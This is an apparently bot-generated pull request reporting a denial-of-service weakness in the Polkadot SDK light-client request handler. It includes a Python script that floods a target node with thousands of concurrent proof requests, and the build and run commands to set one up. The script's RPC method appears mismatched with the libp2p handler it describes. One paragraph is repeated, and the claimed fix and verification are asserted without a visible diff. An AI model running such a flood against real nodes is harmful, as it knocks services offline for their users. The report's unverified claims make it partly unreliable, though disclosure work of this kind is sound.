[Security] Fix HIGH vulnerability: V-001

[orbisai0security]

Security Fix

This PR addresses a HIGH severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect	Rating	Rationale
Impact	High	In the Polkadot SDK, light clients are designed for resource-constrained environments to enable efficient network participation; exploiting this DoS vulnerability could overwhelm these nodes with expensive proof generation requests, rendering them unavailable and degrading the overall light client network's reliability and performance. This could indirectly impact the Polkadot ecosystem by reducing accessibility for users relying on light clients, though it doesn't lead to data breaches or full system compromise.
Likelihood	Medium	Polkadot's light clients are network-exposed components handling peer requests in a public blockchain environment, making them susceptible to DoS attacks from motivated adversaries aiming to disrupt network operations; however, exploitation requires direct network access to the light client and specific knowledge of the request patterns, which is not trivially easy compared to more common attack vectors.
Ease of Fix	Medium	Remediation would involve implementing rate limiting or request queuing in the on_request function handler, likely requiring integration of a Rust crate for throttling and potential refactoring of the client's proof generation logic to avoid breaking changes; this demands moderate testing to ensure compatibility with Polkadot's network protocols and dependencies.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The vulnerability in the light client request handler allows an attacker to overwhelm a Polkadot light client node by sending a high volume of requests that trigger computationally expensive operations, such as generating execution proofs via self.client.execution_proof, without any rate limiting or queuing mechanisms. This can be exploited by crafting and flooding network requests to the light client's peer-to-peer interface, exhausting CPU, memory, and database resources, rendering the node unresponsive. In the context of the Polkadot network, this targets light clients that rely on Substrate's libp2p-based networking for handling requests from peers or RPC calls.

The vulnerability in the light client request handler allows an attacker to overwhelm a Polkadot light client node by sending a high volume of requests that trigger computationally expensive operations, such as generating execution proofs via self.client.execution_proof, without any rate limiting or queuing mechanisms. This can be exploited by crafting and flooding network requests to the light client's peer-to-peer interface, exhausting CPU, memory, and database resources, rendering the node unresponsive. In the context of the Polkadot network, this targets light clients that rely on Substrate's libp2p-based networking for handling requests from peers or RPC calls.

To demonstrate this exploit in a controlled, test environment (e.g., a local Polkadot development setup), an attacker would first need to run a light client instance from the repository's Substrate codebase. The exploit involves using a script to simulate multiple peers sending continuous requests for execution proofs, leveraging the repository's network protocol (based on libp2p and Substrate's light client RPC). Note that this requires access to the network (e.g., as a connected peer) and assumes the light client is exposed or reachable; in production, light clients are typically behind firewalls, but misconfigurations or public nodes could expose them.

# Step 1: Set up a local Polkadot light client for testing (using the repository's Substrate binaries)
# Clone and build the repository (requires Rust toolchain)
git clone https://github.com/paritytech/polkadot-sdk.git
cd polkadot-sdk
cargo build --release --bin polkadot

# Run a light client node in a test network (e.g., using a local chain spec or connecting to a dev network)
# This starts the light client on a local port/interface, listening for requests
./target/release/polkadot --chain=polkadot-dev --light --port=30333 --rpc-port=9933

# Note: In a real attack, the target would be a public light client node with a known peer ID or IP.

# Step 2: Python script to flood the light client with execution proof requests
# This uses the polkadot-api library (install via pip install polkadot-api) to interact with the light client's RPC.
# The script simulates multiple concurrent requests, each calling the execution_proof RPC method.
# Run this from another machine or container connected to the same network as the light client.

import asyncio
import random
from polkadot_api import PolkadotApi  # Assuming a library like polkadot-api for RPC interaction

async def flood_light_client(target_node_url, num_requests=1000, concurrency=50):
    api = PolkadotApi(target_node_url)  # e.g., "ws://localhost:9933" for local test
    
    async def send_request():
        # Craft a request for execution proof (based on Substrate's light client RPC)
        # This mimics the on_request handler in handler.rs, triggering expensive proof generation
        block_hash = "0x" + "".join(random.choice("abcdef0123456789") for _ in range(64))  # Random block hash
        method = "state_getReadProof"  # Or similar execution proof method; adjust based on exact RPC
        params = [{"keys": ["0x" + "".join(random.choice("abcdef0123456789") for _ in range(64))], "at": block_hash}]
        
        try:
            response = await api.rpc_request(method, params)
            print(f"Request sent: {response}")  # In exploit, ignore response to focus on flooding
        except Exception as e:
            print(f"Error (expected under load): {e}")
    
    # Flood with concurrent requests
    tasks = [send_request() for _ in range(num_requests)]
    await asyncio.gather(*tasks, return_exceptions=True)

# Run the flood (adjust URL for target light client)
asyncio.run(flood_light_client("ws://target-light-client-ip:9933", num_requests=10000, concurrency=100))
# This will cause the light client to process thousands of expensive proof requests, leading to resource exhaustion.

Exploitation Impact Assessment

Impact Category	Severity	Description
Data Exposure	None	No sensitive data is directly exposed; the vulnerability is a DoS attack that does not involve data theft, leakage, or access to blockchain state data beyond what would be requested in normal operation.
System Compromise	None	The exploit does not grant any system access, code execution, or privilege escalation; it only causes resource exhaustion on the light client node without compromising its integrity or allowing further attacks.
Operational Impact	High	Successful exploitation causes the targeted light client node to become unresponsive due to CPU and memory exhaustion from processing expensive proof requests, preventing it from serving peers, validating transactions, or participating in the Polkadot network. This could degrade network reliability, isolate the node, and require a restart or redeployment, with potential cascading effects on dependent services like dApps relying on light client proofs.
Compliance Risk	Medium	Violates blockchain security best practices (e.g., OWASP Top 10 for DoS prevention) and could impact compliance with standards like ISO 27001 for operational resilience in distributed systems. In regulated environments handling financial or DeFi data, it risks audit failures related to network availability and denial-of-service mitigation.

Vulnerability Details

• Rule ID: V-001
• File: substrate/client/network/light/src/light_client_requests/handler.rs
• Description: The on_request function in the light client request handler processes incoming network requests without any apparent rate limiting, request queuing, or resource management controls. Each request directly triggers a call to self.client.execution_proof, which can be a computationally expensive operation involving database access and cryptographic proof generation.

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

• substrate/client/network/light/src/light_client_requests/handler.rs

Verification

This fix has been automatically verified through:

• ✅ Build verification
• ✅ Scanner re-scan
• ✅ LLM code review

🤖 This PR was automatically generated.

[cla-bot-2021]

User @orbisai0security, please sign the CLA here.